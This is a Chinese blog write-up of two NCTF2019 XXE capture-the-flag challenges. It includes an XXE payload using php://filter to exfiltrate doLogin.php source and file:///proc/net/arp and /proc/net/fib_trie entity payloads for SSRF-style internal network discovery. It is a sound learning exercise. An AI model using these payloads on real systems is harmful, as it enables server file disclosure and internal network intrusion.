首页 > 其他分享 >【XXE实战】——浅看两道CTF题

【XXE实战】——浅看两道CTF题

时间:2022-11-11 21:35:06浏览次数:82  
标签:实战 username CTF result XXE msg password

【XXE实战】——浅看两道CTF题

  • 上一条帖子【XXE漏洞】原理及实践演示 对XXE的一些原理进行了浅析,于是写了两道CTF题巩固一下,顺便也记录一下第一次写出来CTF。两道题都是在BUU上找的:[NCTF2019]Fake XML cookbook和[NCTF2019]True XML cookbook

一、[NCTF2019]Fake XML cookbook

  • 打开是个登录界面:
image-20221111155223702
  • F12看一下源码,可以发现存在一段js代码:

     
     
    function doLogin(){
    	var username = $("#username").val();
    	var password = $("#password").val();
    	if(username == "" || password == ""){
    		alert("Please enter the username and password!");
    		return;
    	}
    	
    	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
        $.ajax({
            type: "POST",
            url: "doLogin.php",
            contentType: "application/xml;charset=utf-8",
            data: data,
            dataType: "xml",
            anysc: false,
            success: function (result) {
            	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            	if(code == "0"){
            		$(".msg").text(msg + " login fail!");
            	}else if(code == "1"){
            		$(".msg").text(msg + " login success!");
            	}else{
            		$(".msg").text("error:" + msg);
            	}
            },
            error: function (XMLHttpRequest,textStatus,errorThrown) {
                $(".msg").text(errorThrown + ':' + textStatus);
            }
        }); 
    }
    

    可以看到存在一个doLogin.php文件。那么可以使用PHP://伪协议进行读取看看。

  • 抓包修改参数,输入我们的payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=doLogin.php">
    ]>
    <user><username>&rabbit;</username><password>1213</password></user>
    
    image-20221111155823007

    把得到的编码进行解码可以得到下面的php代码:

    <?php
    /**
    * autor: c0ny1
    * date: 2018-2-7
    */
    
    $USERNAME = 'admin'; //账号
    $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
    $result = null;
    
    libxml_disable_entity_loader(false);
    $xmlfile = file_get_contents('php://input');
    
    try{
    	$dom = new DOMDocument();
    	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    	$creds = simplexml_import_dom($dom);
    
    	$username = $creds->username;
    	$password = $creds->password;
    
    	if($username == $USERNAME && $password == $PASSWORD){
    		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    	}else{
    		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    	}	
    }catch(Exception $e){
    	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
    }
    
    header('Content-Type: text/html; charset=utf-8');
    echo $result;
    ?>
    

    代码只是进行了一个简单验证,那么输入账号admin和密码024b87931a03f738fff6693ce0a78c88看看:

    image-20221111160056872

    没啥用...

  • 直接试试有没有flag目录(看有的题解说是题目有提示,所以不知道是不是buu的问题,我是没看到):

    image-20221111160341211

    over

二、[NCTF2019]True XML cookbook

  • 打开界面可以看到和上面题一模一样,然后同样读doLogin.php也没啥用,直接访问flag目录也没有线索。

  • 看题解后发现,可以使用XXE+SSRF的方法,即使用伪协议进行内网的嗅探。那么第一步就是看内网的结构:

    payload查看靶机路由表:

    file:///proc/net/arp
    
    image-20221111161228760

    可以看到有两个路由169.254.1.1和10.128.253.12。

  • 使用bp的intrude模块对这两个路径C段进行爆破

    image-20221111161415964

    image-20221111162635220

    爆破过程巨慢无比....不知道为啥,以后有空研究一下。但是看网上的wp说这两个C段扫描不出来东西。

  • 查看proc/net/fib_trie下的路由树

    file:///proc/net/fib_trie
    
    image-20221111163205461
  • 下面对10.244.80.215的C段进行爆破,同样非常慢,不想等了最后没解出来。

三、收获

  • 熟悉了使用file伪协议查看文件,php伪协议读取文件
  • 学习了xxe+ssrf的利用方式,对于linux主机可以读取proc/net/arp路径查看其路由表从而得到其内网结构。在主机没有flag的情况下,可能藏在其他内网主机中。
  • bp的intrude模块不知道怎么调才能实现超时放弃请求....

标签:实战,username,CTF,result,XXE,msg,password
From: https://www.cnblogs.com/capz/p/16882080.html

相关文章